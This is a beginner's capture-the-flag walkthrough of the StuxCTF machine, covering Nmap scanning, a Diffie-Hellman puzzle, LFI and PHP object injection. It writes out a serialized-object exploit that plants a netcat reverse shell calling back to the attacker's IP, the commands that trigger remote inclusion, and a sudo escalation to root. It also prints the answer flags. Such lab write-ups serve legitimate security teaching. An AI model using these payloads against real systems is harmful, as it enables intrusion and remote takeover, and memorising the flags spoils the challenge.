StuxCTF - Complete Beginner’s Writeup#
Introduction#
Welcome to this step-by-step walkthrough of the StuxCTF challenge! This writeup is designed for beginners who want to understand each technique used. We’ll cover:
- Network reconnaissance with Nmap
- Web enumeration and directory discovery
- Diffie-Hellman cryptography
- Local File Inclusion (LFI) vulnerabilities
- PHP Object Injection attacks
- Privilege escalation
Let’s dive in!
Initial Reconnaissance#
Step 1: Port Scanning with Nmap#
First, we need to discover what services are running on our target machine. We use Nmap (Network Mapper) for this:
sudo nmap -sCV -T4 10.10.158.14
What this command does:
-sC: Run default scripts for additional information-V: Version detection to identify service versions-T4: Timing template (faster scanning)
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Key findings:
- Port 22: SSH service (for remote login)
- Port 80: Web server running Apache
- The scan also revealed a
robots.txtfile with a disallowed entry:/StuxCTF/
Web Application Analysis#
Step 2: Examining robots.txt#
The robots.txt file often contains interesting information that developers don’t want search engines to index:
curl http://10.10.158.14/robots.txt
Output:
# robots.txt generated by StuxCTF
# Diffie-Hellman
User-agent: *
Disallow:
Disallow: /StuxCTF/
Important observations:
- There’s a hidden directory
/StuxCTF/ - A comment mentions “Diffie-Hellman” (a cryptographic algorithm)
Step 3: Investigating the Main Website#
Let’s look at the source code of the main page:
curl http://10.10.158.14/
In the HTML source, we find this hidden comment:
<!-- The secret directory is...
p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
g: 7;
a: 330;
b: 450;
g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
-->
This looks like Diffie-Hellman key exchange parameters!
Cryptography Challenge#
Step 4: Understanding Diffie-Hellman Key Exchange#
What is Diffie-Hellman? It’s a method for two parties to establish a shared secret over an insecure channel. The basic concept involves:
p: A large prime numberg: A generator (base)aandb: Private keysg^c: A public key
The goal: Calculate the shared secret that represents our hidden directory.
Step 5: Solving the Cryptographic Puzzle#
I created a Python script to calculate the shared secret:
#!/usr/bin/python3
# Given values from the HTML comment
p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 7
a = 330
b = 450
gc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617
# Calculate the shared secret
gca = (gc**a) % p
gcab = (gca**b) % p
# The first 128 characters give us our directory name
print(str(gcab)[:128])
Result:
47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055
This long number is our secret directory!
Web Exploitation#
Step 6: Accessing the Hidden Directory#
Now we can access the hidden directory using our calculated path:
curl http://10.10.158.14/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/
Key findings in the response:
- A hint in the HTML:
<!-- hint: /?file= --> - This suggests a Local File Inclusion (LFI) vulnerability
Step 7: Discovering the LFI Vulnerability#
What is LFI? Local File Inclusion allows an attacker to include files from the server’s filesystem, potentially exposing sensitive information or enabling code execution.
When we try to include index.php:
curl "http://10.10.158.14/[SECRET_DIRECTORY]/?file=index.php"
We get a long hexadecimal string. After decoding this through multiple steps (hex decode → reverse → base64 decode), we discover the PHP source code!
Step 8: Analyzing the Vulnerable PHP Code#
The decoded PHP reveals:
<?php
error_reporting(0);
class file {
public $file = "dump.txt";
public $data = "dump test";
function __destruct(){
file_put_contents($this->file, $this->data);
}
}
$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
echo "File no Exist!";
}
if($file_name=="index.php"){
$content = file_get_contents($file_name);
$tags = array("<?php", "?>");
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));
?>
Critical vulnerability identified:
- The code calls
unserialize()on user-controlled input - There’s a
fileclass with a destructor that writes data to a file - This is a perfect setup for PHP Object Injection!
Exploitation#
Step 9: Understanding PHP Object Injection#
What is PHP Object Injection?
When unserialize() processes malicious data, it can create objects that execute code when they’re destroyed (via __destruct() methods).
Our attack plan:
- Create a malicious serialized object
- Host it on our attack machine
- Make the vulnerable server download and unserialize it
- The destructor will write a PHP webshell to the server
Step 10: Creating the Malicious Payload#
Create exploit.php:
<?php
class file
{
public $file = 'shell.php';
public $data = '<?php shell_exec("nc -e /bin/bash 10.8.181.85 1234"); ?>';
}
echo serialize(new file);
?>
Generate the payload:
php exploit.php > payload.txt
What this creates:
- A serialized object that, when unserialized, will create a
shell.phpfile - The file contains a reverse shell command using netcat
Step 11: Hosting the Payload#
Start a simple HTTP server to host our malicious payload:
python3 -m http.server 8000
Step 12: Triggering the Vulnerability#
Visit this URL to make the server download and execute our payload:
http://10.10.158.14/[SECRET_DIRECTORY]/?file=http://10.8.181.85:8000/payload.txt
What happens:
- Server downloads our
payload.txt unserialize()creates our maliciousfileobject- When the script ends,
__destruct()runs - Our reverse shell code gets written to
shell.php
Step 13: Getting a Reverse Shell#
Start a netcat listener on your machine:
nc -lvnp 1234
Then trigger the shell by visiting:
http://10.10.158.14/[SECRET_DIRECTORY]/shell.php
Success! We now have a shell as the www-data user.
Post-Exploitation#
Step 14: Initial Access and User Flag#
Once we have our shell, let’s explore:
# Upgrade to a better shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Check current user
whoami
# Output: www-data
# Look for users
ls /home
# Output: grecia
# Get user flag
cat /home/grecia/user.txt
# Output: 0b6044b7807dd100b9e30f1bd09db53f
Step 15: Privilege Escalation#
Let’s check what sudo privileges our current user has:
sudo -l
Output:
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL
This is jackpot! The www-data user can run ANY command as root without a password.
Step 16: Getting Root Access#
# Switch to root
sudo su
# Get root flag
cat /root/root.txt
# Output: 0028454003b42601548df551b738976c
Summary#
We successfully compromised this machine through:
- Reconnaissance: Used Nmap to discover open services
- Cryptography: Solved a Diffie-Hellman challenge to find a hidden directory
- Web Exploitation: Discovered and exploited an LFI vulnerability
- Object Injection: Used PHP Object Injection to achieve code execution
- Privilege Escalation: Leveraged overly permissive sudo configuration
Key Learning Points#
For Beginners:#
Reconnaissance is crucial: Always start by mapping out the target’s attack surface.
Read the source: Web applications often leak information in HTML comments and configuration files.
Understand the code: Take time to analyze vulnerable code to understand exactly how exploits work.
Chain vulnerabilities: Multiple small vulnerabilities can often be combined for greater impact.
Security Lessons:#
Never trust user input: The unserialize() function should never process untrusted data.
Principle of least privilege: The www-data user shouldn’t have unlimited sudo access.
Input validation: All user-supplied data should be properly validated and sanitized.
Defense in depth: Multiple security layers can prevent a single vulnerability from compromising the entire system.
Tools Used#
- Nmap: Network reconnaissance
- curl: Web requests and response analysis
- Python: Cryptographic calculations and payload hosting
- PHP: Creating malicious serialized objects
- Netcat: Reverse shell listener and connection
- CyberChef: Data decoding and analysis
Conclusion#
This CTF challenge demonstrates how attackers can chain together multiple techniques to achieve full system compromise. From solving cryptographic puzzles to exploiting web vulnerabilities and escalating privileges, each step builds upon the previous one.
The key takeaway for defenders is that security is only as strong as the weakest link. Even with cryptographic protections hiding the vulnerable directory, poor input validation and excessive privileges led to complete system compromise.
Flags Captured:
- User Flag:
0b6044b7807dd100b9e30f1bd09db53f - Root Flag:
0028454003b42601548df551b738976c
